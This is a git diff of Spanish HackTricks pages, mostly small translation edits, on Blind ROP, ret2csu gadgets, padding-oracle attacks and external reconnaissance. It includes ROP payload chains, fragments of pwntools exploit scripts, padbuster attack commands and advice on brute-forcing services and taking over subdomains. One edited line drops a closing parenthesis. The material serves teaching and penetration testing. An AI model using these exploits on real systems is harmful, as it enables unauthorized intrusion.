* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -41,7 +41,7 @@ Este gadget básicamente permite confirmar que algo interesante fue ejecutado po
|
||||||
|
|
||||||
Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:
|
Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Estos serían los gadgets:
|
Estos serían los gadgets:
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ Además, nota que el gadget ret2csu tiene una **firma muy única** porque va a e
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||||
|
|
||||||
Si el **STOP es ejecutado**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también fue una dirección STOP.
|
Si el **STOP es ejecutado**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también era una dirección STOP.
|
||||||
|
|
||||||
Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros:
|
Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros:
|
||||||
|
|
||||||
|
@ -78,18 +78,18 @@ La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cad
|
||||||
|
|
||||||
Es posible encontrar la ubicación de **`strcmp`** en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
|
Es posible encontrar la ubicación de **`strcmp`** en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
|
||||||
|
|
||||||
* strcmp(\<dirección no leída>, \<dirección no leída>) -> falla
|
* strcmp(\<dirección no leíble>, \<dirección no leíble>) -> falla
|
||||||
* strcmp(\<dirección no leída>, \<dirección leída>) -> falla
|
* strcmp(\<dirección no leíble>, \<dirección leíble>) -> falla
|
||||||
* strcmp(\<dirección leída>, \<dirección no leída>) -> falla
|
* strcmp(\<dirección leíble>, \<dirección no leíble>) -> falla
|
||||||
* strcmp(\<dirección leída>, \<dirección leída>) -> no falla
|
* strcmp(\<dirección leíble>, \<dirección leíble>) -> no falla
|
||||||
|
|
||||||
Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento del PLT** que consiste básicamente en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas PLT desde la primera:
|
Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento de PLT** que consiste básicamente en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas PLT desde la primera:
|
||||||
|
|
||||||
* strcmp(\<dirección no leída>, \<dirección leída>) -> falla
|
* strcmp(\<dirección no leíble>, \<dirección leíble>) -> falla
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Fallará
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Fallará
|
||||||
* strcmp(\<dirección leída>, \<dirección no leída>) -> falla
|
* strcmp(\<dirección leíble>, \<dirección no leíble>) -> falla
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||||
* strcmp(\<dirección leída>, \<dirección leída>) -> no falla
|
* strcmp(\<dirección leíble>, \<dirección leíble>) -> no falla
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||||
|
|
||||||
Recuerda que:
|
Recuerda que:
|
||||||
|
@ -112,7 +112,7 @@ Hay 3 funciones comunes que podrían ser abusadas para esto:
|
||||||
|
|
||||||
* `puts(data)`
|
* `puts(data)`
|
||||||
* `dprintf(fd, data)`
|
* `dprintf(fd, data)`
|
||||||
* `write(fd, data, len(data))`
|
* `write(fd, data, len(data)`
|
||||||
|
|
||||||
Sin embargo, el documento original solo menciona la **`write`**, así que hablemos de ella:
|
Sin embargo, el documento original solo menciona la **`write`**, así que hablemos de ella:
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,7 @@ Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funcio
|
||||||
|
|
||||||
### Los Gadgets Mágicos en \_\_libc\_csu\_init
|
### Los Gadgets Mágicos en \_\_libc\_csu\_init
|
||||||
|
|
||||||
En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) a destacar:
|
En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) que destacan:
|
||||||
|
|
||||||
1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
|
1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
|
||||||
```armasm
|
```armasm
|
||||||
|
@ -48,7 +48,7 @@ mov rsi, r14;
|
||||||
mov edi, r13d;
|
mov edi, r13d;
|
||||||
call qword [r12 + rbx*8];
|
call qword [r12 + rbx*8];
|
||||||
```
|
```
|
||||||
3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo:
|
3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo:
|
||||||
```armasm
|
```armasm
|
||||||
mov rdx, r15;
|
mov rdx, r15;
|
||||||
mov rsi, r14;
|
mov rsi, r14;
|
||||||
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
||||||
|
|
||||||
Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a sus offsets específicos:
|
Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a sus offsets específicos:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Consulta esta página para más información:
|
Consulta esta página para más información:
|
||||||
|
|
||||||
|
@ -94,7 +94,7 @@ Consulta esta página para más información:
|
||||||
|
|
||||||
Imagina que quieres hacer una syscall o llamar a una función como `write()`, pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
|
Imagina que quieres hacer una syscall o llamar a una función como `write()`, pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
|
||||||
|
|
||||||
Aquí es donde entra en juego **ret2csu**:
|
Aquí es donde **ret2csu** entra en juego:
|
||||||
|
|
||||||
1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
|
1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
|
||||||
2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
|
2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
|
||||||
|
@ -124,7 +124,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||||
print(p.recvline()) # should receive "Awesome work!"
|
print(p.recvline()) # should receive "Awesome work!"
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Nota que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` desde stdin llamando gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
|
Nota que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Eludir la llamada y alcanzar ret
|
### Eludir la llamada y alcanzar ret
|
||||||
|
@ -181,7 +181,7 @@ target.interactive()
|
||||||
```
|
```
|
||||||
### ¿Por qué no usar libc directamente?
|
### ¿Por qué no usar libc directamente?
|
||||||
|
|
||||||
Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
|
Por lo general, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Padding Oracle
|
# Padding Oracle
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## CBC - Cipher Block Chaining
|
## CBC - Cipher Block Chaining
|
||||||
|
@ -25,16 +23,16 @@ En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para XOR con e
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
Para descifrar CBC se realizan las **operaciones** **opuestas**:
|
Para descifrar CBC, se realizan las **operaciones** **opuestas**:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
|
Nota cómo es necesario usar una **clave de cifrado** y un **IV**.
|
||||||
|
|
||||||
## Message Padding
|
## Relleno de Mensaje
|
||||||
|
|
||||||
Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
|
Como el cifrado se realiza en **bloques** de **tamaño** **fijo**, generalmente se necesita **relleno** en el **último** **bloque** para completar su longitud.\
|
||||||
Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
|
Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si el último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
|
||||||
|
|
||||||
Veamos más ejemplos con **2 bloques de longitud 8bytes**:
|
Veamos más ejemplos con **2 bloques de longitud 8bytes**:
|
||||||
|
|
||||||
|
@ -53,9 +51,9 @@ Cuando una aplicación descifra datos cifrados, primero descifrará los datos; l
|
||||||
|
|
||||||
Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
|
Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto claro**.
|
||||||
|
|
||||||
### How to exploit
|
### Cómo explotar
|
||||||
|
|
||||||
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacer
|
Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) para explotar este tipo de vulnerabilidad o simplemente hacerlo.
|
||||||
```
|
```
|
||||||
sudo apt-get install padbuster
|
sudo apt-get install padbuster
|
||||||
```
|
```
|
||||||
|
@ -75,7 +73,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
||||||
```
|
```
|
||||||
### La teoría
|
### La teoría
|
||||||
|
|
||||||
En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
|
En **resumen**, puedes comenzar a descifrar los datos cifrados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oracle de relleno comenzará a descifrar bytes desde el final hasta el principio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (561).png>)
|
![](<../.gitbook/assets/image (561).png>)
|
||||||
|
|
||||||
|
@ -97,7 +95,7 @@ Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
|
Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando el relleno `\x02\x02`.
|
||||||
|
|
||||||
Este BF es tan complejo como el anterior, ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15`, así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
|
Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` así que solo se necesita encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
|
||||||
Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
Luego, haz los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**Sigue esta cadena hasta que descifres todo el texto cifrado.**
|
**Sigue esta cadena hasta que descifres todo el texto cifrado.**
|
||||||
|
@ -108,19 +106,17 @@ Registra y crea una cuenta e inicia sesión con esta cuenta.\
|
||||||
Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá manera de invalidarla**.
|
Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **mal** en la aplicación. La **cookie devuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y no **habrá manera de invalidarla**.
|
||||||
|
|
||||||
Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
|
Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
|
||||||
Pero si fuerzas el relleno (usando padbuster, por ejemplo), logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
|
Pero si fuerzas el relleno (usando padbuster por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probable que sea vulnerable a padbuster.
|
||||||
|
|
||||||
### Referencias
|
### Referencias
|
||||||
|
|
||||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -38,14 +38,14 @@ Primero que nada, necesitamos saber qué **otras empresas son propiedad de la em
|
||||||
Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\
|
Una opción es visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **buscar** la **empresa principal**, y **hacer clic** en "**adquisiciones**". Allí verás otras empresas adquiridas por la principal.\
|
||||||
Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**.
|
Otra opción es visitar la página de **Wikipedia** de la empresa principal y buscar **adquisiciones**.
|
||||||
|
|
||||||
> Ok, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos.
|
> Bien, en este punto deberías conocer todas las empresas dentro del alcance. Vamos a averiguar cómo encontrar sus activos.
|
||||||
|
|
||||||
### **ASNs**
|
### **ASNs**
|
||||||
|
|
||||||
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
|
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
|
||||||
Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
|
Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
|
||||||
|
|
||||||
Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
|
Es interesante encontrar si la **empresa tiene asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
|
||||||
Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||||
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
|
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
|
||||||
```bash
|
```bash
|
||||||
|
@ -77,7 +77,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
|
||||||
|
|
||||||
En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
||||||
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
|
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
|
||||||
**También, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||||
|
|
||||||
## Dominios
|
## Dominios
|
||||||
|
|
||||||
|
@ -109,7 +109,7 @@ Puedes usar herramientas en línea como:
|
||||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
||||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
|
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
|
||||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
|
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
|
||||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
|
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
|
* [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
|
||||||
|
|
||||||
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
|
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
|
||||||
|
@ -178,11 +178,11 @@ Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc
|
||||||
|
|
||||||
### **Toma Pasiva**
|
### **Toma Pasiva**
|
||||||
|
|
||||||
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando control de algunos subdominios**.
|
